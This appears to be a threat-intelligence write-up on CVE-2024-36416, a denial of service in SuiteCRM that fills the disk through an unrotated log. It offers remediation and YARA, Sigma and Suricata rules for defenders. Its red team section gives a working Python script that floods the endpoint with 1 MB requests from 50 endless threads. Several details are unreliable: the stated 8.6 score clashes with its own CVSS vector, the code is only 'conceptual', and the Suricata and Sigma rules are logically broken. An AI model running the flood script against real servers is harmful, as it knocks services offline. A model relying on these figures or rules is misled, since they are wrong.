CVE-2024-36416

Executive Summary

CVE-2024-36416 is a high-severity denial-of-service (DoS) vulnerability affecting SuiteCRM, an open-source Customer Relationship Management platform. The flaw resides in a deprecated v4 API example endpoint that does not implement log rotation. An unauthenticated attacker can flood this endpoint with excessive data, causing the server’s log files to grow uncontrollably, eventually exhausting disk space and leading to a denial of service. The vulnerability is rated 8.6 (High) on the CVSS v3.1 scale. No public exploit code or proof-of-concept is currently available, but the attack vector is straightforward and requires no authentication.

Supply Chain & Package Security

SuiteCRM is a PHP-based application distributed via GitHub and official archives. The vulnerable component is a legacy API example file that is not part of the core application but may be present in default installations. Organizations using SuiteCRM should verify that this file is removed or disabled as part of their deployment hardening process.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Base Score: 8.6 (High)
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – unauthenticated.
• User Interaction: None (UI:N) – no user action needed.
• Scope: Unchanged (S:U) – impact is confined to the vulnerable component.
• Confidentiality Impact: None (C:N)
• Integrity Impact: None (I:N)
• Availability Impact: High (A:H) – full denial of service via disk exhaustion.

Threat Level: High. The low complexity and lack of authentication make this an attractive target for attackers seeking to disrupt CRM operations.

Deep Dive & Mechanics

The vulnerability exists in a deprecated v4 API example file (likely service/v4_1/rest.php or similar). This endpoint is intended for testing and demonstration purposes and does not implement any log rotation mechanism. When an attacker sends a large volume of data to this endpoint, the application logs the input verbatim to a log file (e.g., suitecrm.log). Without log rotation, the log file grows indefinitely, consuming all available disk space on the server.

Attack Flow:

1. Attacker identifies the vulnerable endpoint (e.g., /service/v4_1/rest.php?method=...).
2. Attacker sends a high volume of HTTP requests with large payloads (e.g., POST data with megabytes of random text).
3. The server logs each request, appending the payload to the log file.
4. The log file grows until disk space is exhausted.
5. The CRM becomes unresponsive, and other services on the same server may also fail.

Root Cause: Lack of log rotation and lack of input size limits on the logging mechanism for the deprecated API endpoint.

Vulnerable vs. Patched Code

The vulnerable code is in the deprecated v4 API example file. The exact file path may vary, but it is typically service/v4_1/rest.php or service/v4/rest.php. The logging function writes request data without any size checks or rotation.

Vulnerable Code (Conceptual):

// Vulnerable: logs entire request without size limit
function logRequest($data) {
    file_put_contents('suitecrm.log', $data . PHP_EOL, FILE_APPEND);
}

Patched Code (Conceptual):

// Patched: removes or disables the deprecated endpoint
// OR implements log rotation and size limits
function logRequest($data) {
    $maxLogSize = 100 * 1024 * 1024; // 100 MB
    if (file_exists('suitecrm.log') && filesize('suitecrm.log') > $maxLogSize) {
        // Rotate log
        rename('suitecrm.log', 'suitecrm.log.old');
    }
    file_put_contents('suitecrm.log', substr($data, 0, 1024) . PHP_EOL, FILE_APPEND);
}

The official patch (versions 7.14.4 and 8.6.1) removes or disables the deprecated v4 API example endpoint entirely.

Exploitation & Lab Setup

Red Team (Attacker) Perspective

Prerequisites:

• Target running SuiteCRM with the deprecated v4 API example endpoint exposed.
• No authentication required.

Exploitation Steps:

1. Identify the vulnerable endpoint. Common paths:
   • /service/v4_1/rest.php
   • /service/v4/rest.php
2. Send a large number of requests with oversized payloads using a tool like curl or a custom script.

Example Attack Script (Python):

import requests
import threading

target = "http://target.com/service/v4_1/rest.php"
payload = "A" * 1000000  # 1 MB payload

def send_request():
    while True:
        try:
            requests.post(target, data={"data": payload}, timeout=5)
        except:
            pass

# Launch 50 threads
for i in range(50):
    threading.Thread(target=send_request).start()

Expected Outcome: Disk space on the target server fills up, causing the CRM and potentially other services to crash or become unresponsive.

Blue Team (Defender) Perspective

Detection:

• Monitor disk usage on the SuiteCRM server. Sudden spikes in disk consumption are a key indicator.
• Monitor HTTP logs for repeated requests to /service/v4_1/rest.php or similar endpoints with large payloads.
• Use network monitoring to detect high volumes of POST requests to the CRM.

Mitigation:

• Immediately remove or disable the deprecated v4 API example file.
• Implement log rotation for all application logs.
• Set disk usage alerts to trigger at 80% capacity.
• Restrict access to the CRM to trusted IPs if possible.

Indicators of Compromise (IOCs)

• File Path: /service/v4_1/rest.php or /service/v4/rest.php (deprecated endpoint)
• Log File Growth: Rapid increase in size of suitecrm.log or similar log files.
• Network Traffic: High volume of HTTP POST requests to the deprecated endpoint with large payloads.
• Disk Usage: Disk space on the CRM server reaching 100% unexpectedly.

Detection Engineering

YARA Rule

rule CVE_2024_36416_SuiteCRM_DoS {
    meta:
        description = "Detects SuiteCRM deprecated v4 API endpoint that allows DoS via log exhaustion"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-36416"
    strings:
        $endpoint = "/service/v4_1/rest.php" nocase
        $endpoint2 = "/service/v4/rest.php" nocase
        $log_write = "file_put_contents" nocase
        $log_append = "FILE_APPEND" nocase
    condition:
        any of ($endpoint*) and any of ($log_write, $log_append)
}

Sigma Rule

title: SuiteCRM Deprecated v4 API Endpoint DoS Attempt
id: 8f4c3b2a-1d5e-4f7c-9a8b-0c1d2e3f4a5b
status: experimental
description: Detects attempts to exploit CVE-2024-36416 by sending large payloads to the deprecated v4 API endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem:
            - '/service/v4_1/rest.php'
            - '/service/v4/rest.php'
        sc-bytes: '>=1000000'  # Payloads >= 1 MB
    condition: selection
falsepositives:
    - Legitimate large data imports (rare)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2024-36416 SuiteCRM DoS via deprecated v4 API endpoint";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/service/v4_1/rest.php";
    http_uri;
    content:"/service/v4/rest.php";
    http_uri;
    pcre:"/^.{1000000,}/R";  # Payload >= 1 MB
    classtype:attempted-dos;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade SuiteCRM to version 7.14.4 or 8.6.1 (or later).
2. Remove or disable the deprecated v4 API example file manually if upgrade is not immediately possible:
   • Delete or rename service/v4_1/rest.php and service/v4/rest.php.
   • Or restrict access via web server configuration (e.g., .htaccess deny rule).
3. Implement log rotation for all application logs (e.g., using logrotate on Linux).
4. Set disk usage alerts to notify administrators when disk usage exceeds 80%.

Long-Term Hardening:

• Conduct a security audit of all legacy endpoints and remove unused code.
• Implement rate limiting on API endpoints.
• Use a Web Application Firewall (WAF) to block large payloads.
• Regularly review and update incident response procedures for DoS attacks.

Patch Details:

• Upgrade to SuiteCRM 7.14.4 or 8.6.1.
• The patch removes the deprecated v4 API example endpoint entirely.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert